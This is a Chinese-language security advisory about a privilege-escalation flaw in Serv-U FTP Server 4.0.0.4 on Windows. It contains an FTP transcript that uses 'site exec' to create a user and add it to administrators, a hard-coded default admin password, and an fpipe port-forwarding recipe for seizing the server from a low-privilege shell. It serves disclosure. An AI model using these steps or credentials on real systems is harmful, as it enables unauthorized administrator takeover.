Serv-U FTP Server本地提升权限缺陷作者:Fedora (justaid_at_sohu.com)
漏洞描述:
Serv-U FTP Server为RhinoSoft出品的一款Ftp Server软件,可运行在Microsoft Windows平台下。
ServUAdmin.exe是ftp server管理界面,由于ServUAdmin.exe对异常的不正确处理,导致在Serv-U被
注册为系统服务的情况下,本地普通用户进行权限提升,得到超级用户的权限。远程用普通用户权限,可
以通过3389登陆的也可以进行提升。
测试方法:
测试环境:
MICROSOFT WINDOWS 2000(SP4)+Serv-U FTP Server 4.0.0.4
MICROSOFT WINDOWS SERVER 2003, ENTERPRISE EDITION+Serv-U FTP Server 4.0.0.4
测试方法:
一、安装Serv-U
以普通用户登陆,权限不够,不能安装,重新以administrator登陆安装Serv-U(默认安装,此时Serv-U
的启动方式为自动启动,已经注册为系统服务),安装好之后,启动Serv-U,然后就注销administrator。
二、提升权限
用普通用户登陆,进入Serv-U FTP Server的安装目录,运行ServUAdmin.exe,新建域,而且添加用户,
新建用户ftpuser,把主目录设置为系统目录C:,此时用户ftpuser的权限为R----L--I,将用户权限设置为
系统管理员,甚至更高级别的,或者将用户对目录的访问权限设置为读写删除执行,跳出ServUAdmin.ini
不能写入,ServUAdmin.exe同时以system权限对ServUAdmin.ini进行改写。这样ftpuser通过ftp就具有了
对系统目录的读写删除执行的权限。这样就可以进行权限提升了,你可以传个木马上去,再运行,或者直
接添加系统用户。
ftp>open ip
Connected to ip.
220 Serv-U FTP Server v4.0 for WinSock ready...
User (ip:(none)): ftpuser //输入ftp用户
331 User name okay, please send complete E-mail address as password.
Password:password //密码
230 User logged in, proceed.
ftp> cd winnt //进入win2k的winnt目录,如果是winxp或者是win 2003就应该为windows目录。
250 Directory changed to /WINNT
ftp>cd system32 //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user cc cc /add //利用net命令添加用户。
200 EXEC command successful (TID=33).
ftp>quote site exec net.exe localhost administrators cc /add //提升为超级用户
漏洞分析
1、只能以administrator安装Serv-U,其配置文件ServUDaemon.ini和ServUAdmin.ini。ntfs格式默认情
况普通用户只具有读和运行的权限(默认情况下只有admin和system有写权限),无法通过对他们改写来
提升权限。
2、当Serv-U成为系统服务的时候,就具有了system的权限,ServUAdmin.exe虽然进行了权限验证,但由
于对异常处理不正确,对ServUAdmin.ini进行了写操作,从而导致了漏洞的产生。
感谢紫幻,没有他那篇文章,我就不会打Serv-U的主意。
声明
本本仅用来描述可能存在的安全问题,作者本人不为此安全公告提供任何保证或承诺。由于传播、利用此
文章提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任
何责任。作者拥有对此安全公告的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包
括版权声明等全部内容。未经作者本人允许,不得任意修改或者增减此文章公告内容。
EYAS注:
serv-u默认监听127.0.0.1:43958,所以只有在本机才能连接这个管理端口。
serv-u默认管理账号是LocalAdministrator,默认密码是"#l@$ak#.lk;0@P",这个密码在同一个
版本中是固定的,也许在不同的版本中也是固定的。
假如目标机器IP是192.168.0.1,假如你已经有了一个目标机器的普通权限的SHELL,那么你
在目标机器上运行fpipe -v -l 12345 -r 43958 127.0.0.1,然后在你自己的机器,用"serv-u
admin"新建SERVER,
192.168.0.1:12345
User:LocalAdministrator
Pass:"#l@$ak#.lk;0@P"
,那么目标机器的serv-u就归你管了。
(不需要能终端或物理控制台登录,只要有个shell,能运行端口数据转发的程序就可以了)